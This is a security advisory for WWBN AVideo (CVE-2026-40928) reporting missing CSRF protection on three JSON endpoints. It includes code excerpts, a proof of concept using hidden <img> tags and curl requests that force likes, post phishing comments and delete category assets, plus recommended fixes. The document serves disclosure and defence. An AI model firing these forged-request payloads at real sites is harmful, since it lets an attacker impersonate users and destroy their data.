Skip to content

GHSA-x2pw-9c38-cp2j CVE-2026-40928

WWBN AVideo: Missing CSRF Protection on State-Changing JSON Endpoints Enables Forced Comment Creation, Vote Manipulation, and Category Asset Deletion

Medium Packagist
Severity
5.4 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.11%
Chance of exploitation in the next 30 days. Higher than 1.55% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-352 Cross-Site Request Forgery (CSRF)
Fix
None yet
No fixed version published

Description

Summary

Multiple AVideo JSON endpoints under objects/ accept state-changing requests via $_REQUEST/$_GET and persist changes tied to the caller's session user, without any anti-CSRF token, origin check, or referer check. A malicious page visited by a logged-in victim can silently:

  1. Cast/flip the victim's like/dislike on any comment (objects/comments_like.json.php).
  2. Post a comment authored by the victim on any video, with attacker-chosen text (objects/commentAddNew.json.php).
  3. Delete assets from any category (objects/categoryDeleteAssets.json.php) when the victim has category management rights.

Each endpoint is reachable from a browser via a simple <img src="…"> tag or form submission, so exploitation only requires the victim to load an attacker-controlled HTML resource.

Details

AVideo exposes a helper, forbidIfIsUntrustedRequest() (objects/functionsSecurity.php:138), that rejects cross-origin requests when the Referer/Origin does not match webSiteRootURL. It is only invoked in one file in the tree — objects/userUpdate.json.php:18 — and is not applied to the endpoints below. There is also an isGlobalTokenValid() helper (objects/functions.php:2313) intended for CSRF-style token checks; none of the affected endpoints call it. allowOrigin() only sets CORS response headers and does not prevent cookie-bearing top-level or image requests from reaching the server.

1. objects/comments_like.json.php — CSRF → forced like/dislike

// objects/comments_like.json.php
15: if (empty($_POST['comments_id']) && !empty($_GET['comments_id'])) {
16:     $_POST['comments_id'] = $_GET['comments_id'];
17: }
18:
19: $like = new CommentsLike($_GET['like'], $_POST['comments_id']);
20: echo json_encode(CommentsLike::getLikes($_POST['comments_id']));

The endpoint deliberately promotes $_GET['comments_id'] to $_POST['comments_id'] so the call works for either verb. CommentsLike::__construct (objects/comments_like.php:18) reads User::getId(), calls load() to fetch any prior vote, then setLike() + save() — issuing an INSERT/UPDATE on comments_likes keyed to the session user (objects/comments_like.php:70-89). There is no token check and no origin check.

2. objects/commentAddNew.json.php — CSRF → forced comment posting

// objects/commentAddNew.json.php
34: if (!User::canComment()) {
35:     $obj->msg = __("Permission denied");
36:     die(json_encode($obj));
37: }
...
117: $objC = new Comment($_REQUEST['comment'], $_REQUEST['video']);
118: $objC->setComments_id_pai($_REQUEST['comments_id']);
...
124: $obj->comments_id = $objC->save();

All inputs come from $_REQUEST, so GET is fully supported. The only gate is User::canComment(), which is true for ordinary logged-in users. isCommentASpam() (lines 39–97) is a per-session rate limiter, not a CSRF defense — it accounts the victim's own session bucket, so it does not block a single forged write. The comment is persisted under the victim's users_id via $objC->save().

3. objects/categoryDeleteAssets.json.php — CSRF → forced deletion of category assets

// objects/categoryDeleteAssets.json.php
14: $obj->id = intval(@$_REQUEST['id']);
15:
16: if (!Category::canCreateCategory()) {
17:     $obj->msg = __("Permission denied");
18:     die(json_encode($obj));
19: }
20:
21: if (!Category::deleteAssets($obj->id)) {
22:     $obj->error = false;
23: ...

State-destroying operation reachable by GET with no CSRF defense. The attacker can enumerate category ids with a loop of <img> tags — every one fires a credentialed request.

Root cause (shared)

All three endpoints follow the same pattern: objects/*.json.php handler that (a) reads mutating parameters from $_REQUEST/$_GET, (b) performs authorization against the victim's session, and (c) writes to the database — without calling forbidIfIsUntrustedRequest(), without validating a CSRF token, and without any SameSite mitigation in the session cookie set by AVideo's auth layer. Any logged-in victim loading an attacker-controlled HTML resource is sufficient.

PoC

Preconditions: attacker controls a page the victim loads while logged into the target AVideo instance. Cookies are sent by default on cross-site <img>/top-level GETs.

Variant A — comments_like.json.php (force a downvote on comment id 10)

Attacker page:

<img src="https://victim.example.com/objects/comments_like.json.php?like=-1&comments_id=10" style="display:none">

Manual verification:

curl -b 'PHPSESSID=<victim-session>' \
  'https://victim.example.com/objects/comments_like.json.php?like=-1&comments_id=10'
# → {"comments_id":10,"likes":...,"dislikes":...,"myVote":-1}
# Row inserted/updated in `comments_likes` with users_id = victim.

Variant B — commentAddNew.json.php (force victim to post a phishing comment on video 123)

Attacker page:

<img src="https://victim.example.com/objects/commentAddNew.json.php?comment=Check+out+my+free+giveaway+https%3A%2F%2Fattacker.example%2Fscam&video=123" style="display:none">

Manual verification:

curl -b 'PHPSESSID=<victim-session>' \
  'https://victim.example.com/objects/commentAddNew.json.php?comment=phish&video=123'
# → {"error":false,"comments_id":<id>,"msg":"Your comment has been saved!",...}

Variant C — categoryDeleteAssets.json.php (force a category admin to delete assets on category 1)

Attacker page (enumerate several ids):

<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1">
<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=2">
<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=3">

Manual verification:

curl -b 'PHPSESSID=<category-admin-session>' \
  'https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1'
# → {"error":false,"msg":"","id":1}
# Assets for category 1 are removed.

Impact

  • Integrity of social signals: Attackers can flip any logged-in user's likes/dislikes to upvote attacker comments or downvote legitimate comments at scale (driven by whichever users visit the attacker page). Because the endpoint accepts like=-1|0|1, arbitrary vote states can be forced.
  • Identity abuse via forced comments: An attacker can cause any logged-in user with comment permission to "post" attacker-controlled text on any video. This enables impersonation, phishing link injection under a trusted account, harassment of third parties in a victim's name, and (if the victim is a moderator/admin) endorsement-shaped content in a privileged voice.
  • Data loss: Any user with canCreateCategory() who visits an attacker page can be made to silently delete assets belonging to arbitrary categories. Since category ids are small integers, a loop of <img> tags can cover the full category space in one page load.

No special configuration is required; AVideo's default session cookie lacks a SameSite=Lax/Strict protection that would independently blunt the attack, and none of the affected endpoints verifies origin or token.

Recommended Fix

  1. Call the existing forbidIfIsUntrustedRequest() helper at the top of every mutating objects/*.json.php handler (the same pattern already used in objects/userUpdate.json.php):
// objects/comments_like.json.php (add near line 9)
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();

// objects/commentAddNew.json.php (add after configuration.php include)
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();

// objects/categoryDeleteAssets.json.php (add after configuration.php include)
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();
  1. Require $_SERVER['REQUEST_METHOD'] === 'POST' (or DELETE) for state-changing operations and stop promoting $_GET['comments_id'] → $_POST['comments_id'] in comments_like.json.php:15-17.

  2. Validate a per-session CSRF token on all mutating endpoints using the existing isGlobalTokenValid() / getToken() helpers (objects/functions.php:2313), rejecting requests whose globalToken is missing or invalid.

  3. As defense in depth, set the session cookie with SameSite=Lax (or Strict) in the AVideo session initialization, so cross-site navigational GETs do not carry the session cookie even if a handler regresses.

Applying (1) alone closes all three reported variants; (2)–(4) harden the surface against variants of the same pattern in other objects/*.json.php handlers.

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 29.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 5.4

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

Weakness

CWE-352: Cross-Site Request Forgery (CSRF)

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
  • Implementation: Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
  • Architecture and Design: Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
  • Architecture and Design: Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
  • Architecture and Design: Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
  • Architecture and Design: Do not use the GET method for any request that triggers a state change.
  • Implementation: Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
Medium Also affects wwbn/avideo
GHSA-wc3f-xc32-435f
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
High Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Medium Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
High Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Medium Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35
WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin
Critical Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx
WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section
Medium Also affects WWBN/AVideo
GHSA-hgjh-6wj8-gcgf
WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination
Medium Also affects WWBN/AVideo
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor